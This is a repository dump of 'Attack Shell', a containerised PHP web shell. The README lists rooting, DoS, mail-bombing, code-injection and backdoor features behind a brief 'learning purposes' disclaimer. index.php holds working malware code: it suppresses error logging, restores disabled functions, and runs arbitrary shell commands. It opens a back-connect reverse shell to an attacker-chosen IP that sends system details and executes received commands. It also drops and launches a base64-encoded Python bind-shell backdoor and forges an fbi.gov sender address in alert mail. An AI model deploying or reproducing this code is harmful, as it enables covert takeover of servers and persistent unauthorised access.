├── .dockerignore
├── Dockerfile
├── LICENSE
├── README.md
├── circle.yml
├── index.php
└── license.php
/.dockerignore:
--------------------------------------------------------------------------------
1 | .git
2 | .dockerignore
3 | circle.yml
4 | Dockerfile
5 | LICENSE
6 | README.md
7 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM k0st/alpine-apache-php
2 |
3 | LABEL maintainer "franzwagner.str@gmail.com"
4 |
5 | # Change the TZ according to your region
6 | ENV TZ=America/Sao_Paulo
7 |
8 | RUN apk add --update --virtual .build-deps tzdata && \
9 | ln -snf /usr/share/zoneinfo/${TZ} /etc/localtime && \
10 | echo "${TZ}" > /etc/timezone && \
11 | apk del .build-deps
12 |
13 | COPY . /app
14 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2016, 2017 Franzwagner Ternus
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [//]: # (Badges)
2 | [](https://circleci.com/gh/strund3r/Attack-Shell)
3 | [](https://microbadger.com/images/strund3r/attack-shell "Get your own image badge on microbadger.com")
4 | [](https://hub.docker.com/r/strund3r/attack-shell/) [](https://microbadger.com/images/strund3r/attack-shell "Get your own version badge on microbadger.com") [](https://hub.docker.com/r/strund3r/attack-shell/)
5 |
6 | # **(Containerized) Attack Shell**
7 | ##### *by Strund3r*
8 |
9 | # **Ani Shell**
10 | ##### *by lionaneesh*
11 |
12 | ###### *Note: This software was intended to be used for Demonstration and Learning Purposes only. The author is not responsible for any damage it may cause and user holds full responsibility of his/her actions. ALL CREDIT GOES TO @lionaneesh*
13 |
14 | ### **Introduction**
15 |
16 | Attack Shell a.k.a. Ani-Shell is a simple PHP shell with some unique features like Mass Mailer, a simple Web-Server Fuzzer, Dosser, Back Connect, Bind Shell, Back Connect, Auto Rooter etc.
17 | This shell has immense capabilities and have been written with some coding standards in mind for better editing and customization.
18 |
19 | ### **Run on a local Docker Container**
20 |
21 | Run on `terminal`:
22 | ```sh
23 | $ docker run -d -p 80:80 --name attack-shell strund3r/attack-shell
24 | ```
25 |
26 | To find the container's IP address, run the following command:
27 | ```sh
28 | $ docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' attack-shell
29 | ```
30 |
31 | If you want to use a `php.ini`, change the `Dockerfile` to:
32 | ```
33 | FROM k0st/alpine-apache-php
34 |
35 | LABEL maintainer "franzwagner.str@gmail.com"
36 |
37 | # Change the TZ according to your region
38 | ENV TZ=America/Sao_Paulo
39 |
40 | RUN apk add --update --virtual .build-deps tzdata && \
41 | ln -snf /usr/share/zoneinfo/${TZ} /etc/localtime && \
42 | echo "${TZ}" > /etc/timezone && \
43 | apk del .build-deps
44 |
45 | COPY config/php.ini /usr/local/etc/php/
46 | COPY . /var/www/html
47 | ```
48 | Where `config/` is the directory containing your `php.ini` file.
49 |
50 | ### **Customization**
51 |
52 | 1. Email Traceback is set to **_off_** as default and emails will not be sent. If you are setting this feature **_on_**, make sure you change the default email address (franzwagner.str@gmail.com) to your email address.
53 | **Please change it before using!**
54 |
55 | 2. Username and Password are set to **_admin_** and **_12345678_** respectively, please change them for better security.
56 |
57 | 3. The Lock Mode feature is set to **_on_** ! This should not be change unless you want your shell exposed.
58 |
59 | 4. The Anti-Crawler feature is set to **_off_** ! Change it to **_on_** for anti-crawler support.
60 |
61 | 5. A variable named greetings can be changed to change the Shell's greeting message.
62 |
63 | ### **Default Login**
64 |
65 | - Username: *admin*
66 | - Password: *12345678*
67 |
68 | ### **Features**
69 |
70 | - [x] Shell
71 | - [x] Intelligent File Manager
72 | - [x] Auto Rooter
73 | - [x] PHP Obfuscate
74 | - [x] Platform Independent
75 | - [x] Mass - Mailer
76 | - [x] Small Web-Server Fuzzer
77 | - [x] Dosser
78 | - [x] Design
79 | - [x] Secure Login
80 | - [x] Deletion of Files
81 | - [x] Bind Shell
82 | - [x] Back Connect
83 | - [x] Fixed Some Coding errors!
84 | - [x] Rename Files
85 | - [x] Encoded Title
86 | - [x] Traceback (Email Alerts)
87 | - [x] PHP Evaluate
88 | - [x] Better Command Execution (supports older version of PHP)
89 | - [x] Mass Code Injector (Appender and Overwinter)
90 | - [x] Lock Mode Customization
91 | - [x] Mail Bomber (With Less Spam detection feature)
92 | - [x] PHP Decoder
93 | - [x] Anti-Crawler Feature
94 | - [x] MD5 Hash Cracker
95 | - [x] Python Bind-Shell
96 |
97 | # License
98 | ### MIT License
99 |
100 | ##### *Copyright (c) 2016, 2017 Franzwagner Ternus*
101 |
102 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
103 |
104 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
105 |
106 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
107 |
--------------------------------------------------------------------------------
/circle.yml:
--------------------------------------------------------------------------------
1 | machine:
2 | services:
3 | - docker
4 | timezone:
5 | America/Sao_Paulo
6 |
7 | dependencies:
8 | override:
9 | - docker build --rm=false -t strund3r/attack-shell .
10 |
11 | test:
12 | override:
13 | - docker run -d --name attack strund3r/attack-shell; sleep 10
14 | - curl --retry 10 --retry-delay 5 -v http://172.18.0.2/index.php
15 |
16 | deployment:
17 | hub:
18 | branch: master
19 | commands:
20 | - docker login -e $DOCKER_EMAIL -u $DOCKER_USER -p $DOCKER_PASS
21 | - docker push strund3r/attack-shell
22 |
--------------------------------------------------------------------------------
/index.php:
--------------------------------------------------------------------------------
1 | >>>>>>>>>>>>>> c0d3d by lionaneesh <<<<<<<<<<<<<<<<
9 | []====================================================
10 | [] + Email: lionaneesh@gmail.com +
11 | [] + Twitter: twitter.com/lionaneesh +
12 | []====================================================
13 | []>>>>>>>>>>>> containerized by Strund3r <<<<<<<<<<<<<
14 | []====================================================
15 | [] + Email: franzwagner.str@gmail.com +
16 | [] + Twitter: twitter.com/strund3r +
17 | []====================================================
18 | */
19 |
20 | ini_set('max_execution_time',0);
21 | ini_set('memory_limit','999999999M');
22 |
23 |
24 | function Zip($source, $destination) // Thanks to Alix Axel
25 | {
26 | if (!extension_loaded('zip') || !file_exists($source)) {
27 | return false;
28 | }
29 |
30 | $zip = new ZipArchive();
31 | if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
32 | return false;
33 | }
34 |
35 | $source = str_replace('\\', '/', realpath($source));
36 |
37 | if (is_dir($source) === true)
38 | {
39 | $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
40 |
41 | foreach ($files as $file)
42 | {
43 | $file = str_replace('\\', '/', realpath($file));
44 |
45 | if (is_dir($file) === true)
46 | {
47 | $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
48 | }
49 | else if (is_file($file) === true)
50 | {
51 | $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
52 | }
53 | }
54 | }
55 | else if (is_file($source) === true)
56 | {
57 | $zip->addFromString(basename($source), file_get_contents($source));
58 | }
59 |
60 | return $zip->close();
61 | }
62 |
63 | if(isset($_GET['zip'])) {
64 | $src = $_GET['zip'];
65 | $dst = getcwd()."/".basename($_GET['zip']).".zip";
66 | if (Zip($src, $dst) != false) {
67 | $filez = file_get_contents($dst);
68 | header("Content-type: application/octet-stream");
69 | header("Content-length: ".strlen($filez));
70 | header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
71 | echo $filez;
72 | }
73 | exit;
74 | }
75 |
76 | // ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
77 |
78 | /**************** Defines *********************************/
79 |
80 | $greeting = "0x xx Welcome Young Warrior xx x0";
81 | $user = "admin";
82 | $pass = "12345678";
83 | $lock = "on"; // set this to off if you dont need the login page
84 | $antiCrawler = "off"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
85 | $tracebackFeature = "on"; // set this feature to on to enable email alerts
86 | $ownerEmail = "franzwagner.str@gmail.com"; // Change this to your email , This email is used to deliver tracebacks about your shell
87 | $url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
88 | $phpVersion = phpversion();
89 | $self = $_SERVER["PHP_SELF"]; // Where am i
90 | $sm = @ini_get('safe_mode');
91 | $SEPARATOR = '/'; // Default Directory separator
92 | $os = "N/D";
93 |
94 | if(stristr(php_uname(),"Windows"))
95 | {
96 | $SEPARATOR = '\\';
97 | $os = "Windows";
98 | }
99 |
100 | else if(stristr(php_uname(),"Linux"))
101 | {
102 | $os = "Linux";
103 | }
104 |
105 | //*************************************************************/
106 |
107 | // -------------- Traceback Functions
108 |
109 | function sendLoginAlert()
110 | {
111 | global $ownerEmail;
112 | global $url;
113 | $accesedIp = $_SERVER['REMOTE_ADDR'];
114 | $randomInt = rand(0,1000000); # to avoid id blocking
115 | $from = "attack-shell$randomInt@fbi.gov";
116 |
117 | //echo $from;
118 |
119 | if(function_exists('mail'))
120 | {
121 | $subject = "Shell Accessed -- Attack Shell --";
122 | $message = "
123 | Hey Owner ,
124 |
125 | Your Attack Shell located at $url was accessed by $accesedIp
126 |
127 | If its not you :-
128 |
129 | 1. Please check if the shell is secured.
130 | 2. Change your user name and Password.
131 | 3. Check if lock is 0n!
132 |
133 | Thanking You
134 |
135 | Yours Faithfully
136 | attack-Shell
137 | ";
138 | mail($ownerEmail,$subject,$message,'From:'.$from);
139 | }
140 | }
141 |
142 | //---------------------------------------------------------
143 |
144 |
145 | if(function_exists('session_start') && $lock == 'on')
146 | {
147 | session_start();
148 | }
149 | else
150 | {
151 | // The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
152 | $lock = 'off';
153 | }
154 |
155 | //logout
156 |
157 | if(isset($_GET['logout']) && $lock == 'on')
158 | {
159 | $_SESSION['authenticated'] = 0;
160 | session_destroy();
161 | header("location: ".$_SERVER['PHP_SELF']);
162 | }
163 |
164 | ini_set('max_execution_time',0);
165 |
166 |
167 |
168 | /***************** Restoring *******************************/
169 |
170 |
171 | ini_restore("safe_mode_include_dir");
172 | ini_restore("safe_mode_exec_dir");
173 | ini_restore("disable_functions");
174 | ini_restore("allow_url_fopen");
175 | ini_restore("safe_mode");
176 | ini_restore("open_basedir");
177 |
178 | if(function_exists('ini_set'))
179 | {
180 | ini_set('error_log',NULL); // No alarming logs
181 | ini_set('log_errors',0); // No logging of errors
182 | ini_set('file_uploads',1); // Enable file uploads
183 | ini_set('allow_url_fopen',1); // allow url fopen
184 | }
185 |
186 | else
187 | {
188 | ini_alter('error_log',NULL);
189 | ini_alter('log_errors',0);
190 | ini_alter('file_uploads',1);
191 | ini_alter('allow_url_fopen',1);
192 | }
193 |
194 | // ----------------------------------------------------------------------------------------------------------------
195 |
196 |
197 | ?>
198 |
199 |
200 | Attack Shell
201 |
202 |
206 |
207 |
210 |
211 |
432 |
433 |
434 |
435 |
436 |
437 |
438 |
456 |
Lock is Switched Off! , The shell can be accessed by anyone!
457 |
464 |
465 |
466 |
467 |
468 |
469 |
470 |
471 | []========================================
472 | []--------------Attack Shell--------------
473 | []----------------------------------------
474 | []========================================
475 | []>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<
476 | []========================================
477 | [] +
478 | [] Twitter : twitter.com/strund3r +
479 | [] +
480 | []========================================
481 | []
482 | []
483 | []
484 | []
485 | []
486 | []
487 | []
488 | []
489 | []
490 | [] Code
491 | [] Hack
492 | [] Live
493 | []
494 | []
495 |
496 |
497 |
498 |
499 |
500 |
501 |
504 |
505 |
506 |
507 |
508 |
524 |
525 |
526 |
527 | $mod; $i++)
539 | {
540 | $size /= $mod;
541 | }
542 |
543 | return round($size, 2) . ' ' . $units[$i];
544 | }
545 |
546 | function getClientIp()
547 | {
548 | echo $_SERVER['REMOTE_ADDR'];
549 | }
550 |
551 | function getServerIp()
552 | {
553 | echo getenv('SERVER_ADDR');
554 | }
555 | function getSoftwareInfo()
556 | {
557 | echo php_uname();
558 | }
559 | function diskSpace()
560 | {
561 | echo HumanReadableFilesize(disk_total_space("/"));
562 | }
563 | function freeSpace()
564 | {
565 | echo HumanReadableFilesize(disk_free_space("/"));
566 | }
567 | function getSafeMode()
568 | {
569 | global $sm;
570 | echo($sm?"ON (Most of the Features will Not Work)":"OFF");
571 |
572 | }
573 |
574 | function getDisabledFunctions()
575 | {
576 | if(!ini_get('disable_functions'))
577 | {
578 | echo "None";
579 | }
580 | else
581 | {
582 | echo @ini_get('disable_functions');
583 | }
584 | }
585 |
586 | function getFilePermissions($file)
587 | {
588 |
589 | $perms = fileperms($file);
590 |
591 | if (($perms & 0xC000) == 0xC000) {
592 | // Socket
593 | $info = 's';
594 | } elseif (($perms & 0xA000) == 0xA000) {
595 | // Symbolic Link
596 | $info = 'l';
597 | } elseif (($perms & 0x8000) == 0x8000) {
598 | // Regular
599 | $info = '-';
600 | } elseif (($perms & 0x6000) == 0x6000) {
601 | // Block special
602 | $info = 'b';
603 | } elseif (($perms & 0x4000) == 0x4000) {
604 | // Directory
605 | $info = 'd';
606 | } elseif (($perms & 0x2000) == 0x2000) {
607 | // Character special
608 | $info = 'c';
609 | } elseif (($perms & 0x1000) == 0x1000) {
610 | // FIFO pipe
611 | $info = 'p';
612 | } else {
613 | // Unknown
614 | $info = 'u';
615 | }
616 |
617 | // Owner
618 | $info .= (($perms & 0x0100) ? 'r' : '-');
619 | $info .= (($perms & 0x0080) ? 'w' : '-');
620 | $info .= (($perms & 0x0040) ?
621 | (($perms & 0x0800) ? 's' : 'x' ) :
622 | (($perms & 0x0800) ? 'S' : '-'));
623 |
624 | // Group
625 | $info .= (($perms & 0x0020) ? 'r' : '-');
626 | $info .= (($perms & 0x0010) ? 'w' : '-');
627 | $info .= (($perms & 0x0008) ?
628 | (($perms & 0x0400) ? 's' : 'x' ) :
629 | (($perms & 0x0400) ? 'S' : '-'));
630 |
631 | // World
632 | $info .= (($perms & 0x0004) ? 'r' : '-');
633 | $info .= (($perms & 0x0002) ? 'w' : '-');
634 | $info .= (($perms & 0x0001) ?
635 | (($perms & 0x0200) ? 't' : 'x' ) :
636 | (($perms & 0x0200) ? 'T' : '-'));
637 |
638 | return $info;
639 |
640 | }
641 |
642 | // Dir size
643 |
644 | /**
645 | * Get the directory size
646 | * @param directory $directory
647 | * @return integer
648 | */
649 | function dirSize($directory) {
650 | $size = 0;
651 | foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
652 | try {
653 | $size += $file->getSize();
654 | }
655 | catch (Exception $e){ // Symlinks and other shits
656 | $size += 0;
657 | }
658 | }
659 | return $size;
660 | }
661 |
662 | /***********************************************************/
663 | // exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
664 | // Turned OFF!
665 | /**********************************************************/
666 |
667 |
668 | function exec_all($command)
669 | {
670 |
671 | $output = '';
672 | if(function_exists('exec'))
673 | {
674 | exec($command,$output);
675 | $output = join("\n",$output);
676 | }
677 |
678 | else if(function_exists('shell_exec'))
679 | {
680 | $output = shell_exec($command);
681 | }
682 |
683 | else if(function_exists('popen'))
684 | {
685 | $handle = popen($command , "r"); // Open the command pipe for reading
686 | if(is_resource($handle))
687 | {
688 | if(function_exists('fread') && function_exists('feof'))
689 | {
690 | while(!feof($handle))
691 | {
692 | $output .= fread($handle, 512);
693 | }
694 | }
695 | else if(function_exists('fgets') && function_exists('feof'))
696 | {
697 | while(!feof($handle))
698 | {
699 | $output .= fgets($handle,512);
700 | }
701 | }
702 | }
703 | pclose($handle);
704 | }
705 |
706 |
707 | else if(function_exists('system'))
708 | {
709 | ob_start(); //start output buffering
710 | system($command);
711 | $output = ob_get_contents(); // Get the ouput
712 | ob_end_clean(); // Stop output buffering
713 | }
714 |
715 | else if(function_exists('passthru'))
716 | {
717 | ob_start(); //start output buffering
718 | passthru($command);
719 | $output = ob_get_contents(); // Get the ouput
720 | ob_end_clean(); // Stop output buffering
721 | }
722 |
723 | else if(function_exists('proc_open'))
724 | {
725 | $descriptorspec = array(
726 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
727 | );
728 | $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
729 | if(is_resource($handle))
730 | {
731 | if(function_exists('fread') && function_exists('feof'))
732 | {
733 | while(!feof($pipes[1]))
734 | {
735 | $output .= fread($pipes[1], 512);
736 | }
737 | }
738 | else if(function_exists('fgets') && function_exists('feof'))
739 | {
740 | while(!feof($pipes[1]))
741 | {
742 | $output .= fgets($pipes[1],512);
743 | }
744 | }
745 | }
746 | pclose($handle);
747 | }
748 |
749 | return(htmlspecialchars($output));
750 |
751 | }
752 |
753 | function magicQuote($text)
754 | {
755 | if (!get_magic_quotes_gpc())
756 | {
757 | return $text;
758 | }
759 | return stripslashes($text);
760 | }
761 |
762 | function md5Crack($hash , $list)
763 | {
764 | $fd = fopen($list,"r");
765 | if( strlen($hash) != 32 || $fd == FALSE)
766 | {
767 | // echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
768 | return "
Hash or List invalid!
";
769 | }
770 | else
771 | {
772 | while (! feof( $fd ))
773 | {
774 | if( ($pwdList = fgets( $fd, 1024 )) == FALSE)
775 | {
776 | break;
777 | }
778 | $pwdList = trim($pwdList);
779 |
780 | if(md5($pwdList) == $hash )
781 | {
782 | return "\n
Hash Cracked \n
Planintext : $pwdList
";
783 | }
784 | }
785 |
786 | }
787 | }
788 |
789 | function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass)
790 | {
791 | $link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass);
792 | if(!$link)
793 | {
794 | return 'Could not connect: ' . mysql_error();
795 | }
796 | $resource = mysql_query($query);
797 | if(!$resource) return(mysql_error());
798 | }
799 |
800 | //------------------------------------------------------------------------------------------------
801 |
802 |
803 | ?>
804 |
805 |
806 |
807 |
808 |
809 |
810 |
811 |
812 |
813 |
814 |
820 |
821 |
822 |
823 |
824 |
837 |
864 |
865 |
866 |
882 |
883 |
890 | You are ".trim(exec_all("whoami"))."";
1187 | else
1188 | echo "You are ".trim(exec_all("whoami"))."
";
1189 | }
1190 | else
1191 | {
1192 | echo "Rooting Failed
";
1193 | }
1194 | }
1195 | }
1196 | else
1197 | {
1198 | echo "Permission Denied
";
1199 | }
1200 | ?>
1201 |
1209 |
1210 |
1234 |
1235 | File uploaded to $uploadPath";
1261 | }
1262 | else
1263 | {
1264 | echo "Failed to upload file to $uploadPath
";
1265 | }
1266 | }
1267 | }
1268 | else
1269 | {
1270 | ?>
1271 |
1272 |
1273 |
1274 |
1275 |
1276 |
1277 |
1294 |
1295 |
1296 |
1297 |
1337 | Overwritten Files :-
1338 |
1339 |
1345 | ">
1346 | Permission Denied"; break;
1350 | fwrite($fd,$message);
1351 | }
1352 | }
1353 | ?>
1354 |
1355 |
1361 |
1401 |
1420 |
1448 |
1449 |
1488 |
1489 |
1490 |
1491 |
1492 |
1493 |
1494 |
1499 | Note : Any one of the following options is compulsory to be filled rest can be left blank.
1500 |
1543 | The Program is now trying to connect!";
1560 | $ip = $_POST['ip'];
1561 | $port=$_POST['port'];
1562 | $sockfd=fsockopen($ip , $port , $errno, $errstr );
1563 | if($errno != 0)
1564 | {
1565 | echo "$errno : $errstr ";
1566 | }
1567 | else if (!$sockfd)
1568 | {
1569 | $result = "Fatal : An unexpected error was occured when trying to connect!
";
1570 | }
1571 | else
1572 | {
1573 | fputs ($sockfd ,"\n=================================================================\nAttack Shell\n=================================================================");
1574 | $pwd = exec_all("pwd");
1575 | $sysinfo = exec_all("uname -a");
1576 | $id = exec_all("id");
1577 | $dateAndTime = exec_all("time /t & date /T");
1578 | $len = 1337;
1579 | fputs($sockfd ,$sysinfo . "\n" );
1580 | fputs($sockfd ,$pwd . "\n" );
1581 | fputs($sockfd ,$id ."\n\n" );
1582 | fputs($sockfd ,$dateAndTime."\n\n" );
1583 | while(!feof($sockfd))
1584 | {
1585 | $cmdPrompt ="(attack-Shell)[$]> ";
1586 | fputs ($sockfd , $cmdPrompt );
1587 | $command= fgets($sockfd, $len);
1588 | fputs($sockfd , "\n" . exec_all($command) . "\n\n");
1589 | }
1590 | fclose($sockfd);
1591 | }
1592 | }
1593 | else if(
1594 | isset($_POST['port']) &&
1595 | isset($_POST['passwd']) &&
1596 | $_POST['port'] != "" &&
1597 | $_POST['passwd'] != "" &&
1598 | isset($_POST['mode']))
1599 | {
1600 | $address = '127.0.0.1';
1601 | $port = $_POST['port'];
1602 | $pass = $_POST['passwd'];
1603 |
1604 | if($_POST['mode'] == "Python")
1605 | {
1606 | $Python_CODE = "IyBTZXJ2ZXIgIA0KIA0KaW1wb3J0IHN5cyAgDQppbXBvcnQgc29ja2V0ICANCmltcG9ydCBvcyAgDQoNCmhvc3QgPSAnJzsgIA0KU0laRSA9IDUxMjsgIA0KDQp0cnkgOiAgDQogICAgIHBvcnQgPSBzeXMuYXJndlsxXTsgIA0KDQpleGNlcHQgOiAgDQogICAgIHBvcnQgPSAzMTMzNzsgIA0KIA0KdHJ5IDogIA0KICAgICBzb2NrZmQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgIA0KDQpleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCg0KICAgICBwcmludCAiRXJyb3IgaW4gY3JlYXRpbmcgc29ja2V0IDogIixlIDsgIA0KICAgICBzeXMuZXhpdCgxKTsgICANCg0Kc29ja2ZkLnNldHNvY2tvcHQoc29ja2V0LlNPTF9TT0NLRVQgLCBzb2NrZXQuU09fUkVVU0VBRERSICwgMSk7ICANCg0KdHJ5IDogIA0KICAgICBzb2NrZmQuYmluZCgoaG9zdCxwb3J0KSk7ICANCg0KZXhjZXB0IHNvY2tldC5lcnJvciAsIGUgOiAgICAgICAgDQogICAgIHByaW50ICJFcnJvciBpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgDQogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyAgDQogICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCg==";
1607 |
1608 | $fd = fopen("bind.py","w");
1609 |
1610 | if($fd != FALSE)
1611 | {
1612 | fwrite($fd,base64_decode($Python_CODE));
1613 |
1614 | if($os == "Linux")
1615 | {
1616 | echo "[+] OS Detected = Windows";
1617 | exec_all("chmod +x bind.py ; ./bind.py");
1618 |
1619 | // CHeck if the process is running
1620 |
1621 | $pattern = "bind.py";
1622 |
1623 | $list = exec_all("ps -aux");
1624 | }
1625 | else
1626 | {
1627 | echo "[+] OS Detected = Windows";
1628 | exec_all("start bind.py");
1629 | // CHeck if the process is running
1630 |
1631 | $pattern = "python.exe";
1632 |
1633 | $list = exec_all("TASKLIST");
1634 | }
1635 |
1636 |
1637 | if(preg_match("/$pattern/",$list))
1638 | {
1639 | echo "Process Found Running! Backdoor Setup Completed! :D
";
1640 | }
1641 | else
1642 | {
1643 | echo "Process Not Found Running! Backdoor Setup FAILED! :(
";
1644 | }
1645 |
1646 | echo " \nTask List :- \n$list ";
1647 |
1648 | }
1649 | }
1650 | }
1651 | else if($_POST['mode'] == "PHP")
1652 | {
1653 |
1654 | // Set time limit to indefinite execution
1655 | set_time_limit (0);
1656 |
1657 |
1658 | // Set the ip and port we will listen on
1659 |
1660 |
1661 | if(function_exists("socket_create"))
1662 | {
1663 | // Create a TCP Stream socket
1664 | $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
1665 |
1666 |
1667 | // Bind the socket to an address/port
1668 |
1669 |
1670 | if(socket_bind($sockfd, $address, $port) == FALSE)
1671 | {
1672 | echo "Cant Bind to the specified port and address!";
1673 | }
1674 | // Start listening for connections
1675 | socket_listen($sockfd,15);
1676 |
1677 |
